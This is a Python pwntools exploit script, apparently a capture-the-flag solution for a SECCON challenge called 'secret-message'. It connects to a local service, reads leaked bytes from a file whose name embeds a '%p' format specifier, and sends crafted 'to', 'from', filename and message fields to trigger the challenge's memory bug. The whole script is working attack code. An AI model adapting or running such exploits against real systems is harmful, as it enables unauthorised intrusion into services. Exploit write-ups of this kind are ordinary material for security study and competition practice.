#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Auth0r : afang
# nice day mua! :P
# desc:

#lambs:
wait = lambda x: raw_input(x)

# imports

from pwn import *
import time
import os
import sys

elf = ""
libc = ""
env = ""
LOCAL = 1
context.log_level = "debug"

p1 = remote("127.0.0.1",2222)
#p1 = remote("secret-message.pwn.seccon.jp", 31337)
print p1.recv()

#create file 

fp = open("/home/secret_message/files/file%p", "rb")
content = fp.read()[0x10:]
counter=0
target_base = 0
for x in range(0,len(content)):
    for i in range(0,0x320):
    
        if content[x+i] == "\n":
            print "nope."
            x+=0x320
            break
        else:
            counter +=1
        if counter == 0x320:

            target_base = x
            break
    if counter == 0x320:
        break

content = content[target_base:target_base+0x320]
if "\n" in content:
    print "noo!!!!!"
    exit(-1)
content1= content[:0x200]
content2= content[0x200:]
content2= content2.ljust(0x200,"\x00")
print (len(content1) + len(content2))
print len(content1)
print len(content2)

p1.sendline("e")
p1.recvuntil("to : \n")
p1.send(content2)
p1.recvuntil("from : \n")
p1.send(content1)
p1.recvuntil("name : \n")
filename = sys.argv[2]
p1.sendline(filename)
#p1.send("b"*0x200)
#filename = "%p" * 10
#filename = filename.ljust(0x200,"\x00")
#p1.sendline(content2 + content1 + filename)
p1.recvuntil("message length :\n")
p1.sendline(sys.argv[1])
p1.recvuntil("message : \n") #file open and created.


p1.send("a" * (int(sys.argv[1])-1))
time.sleep(3)
wait("me")
p1.send("a")
p1.close()

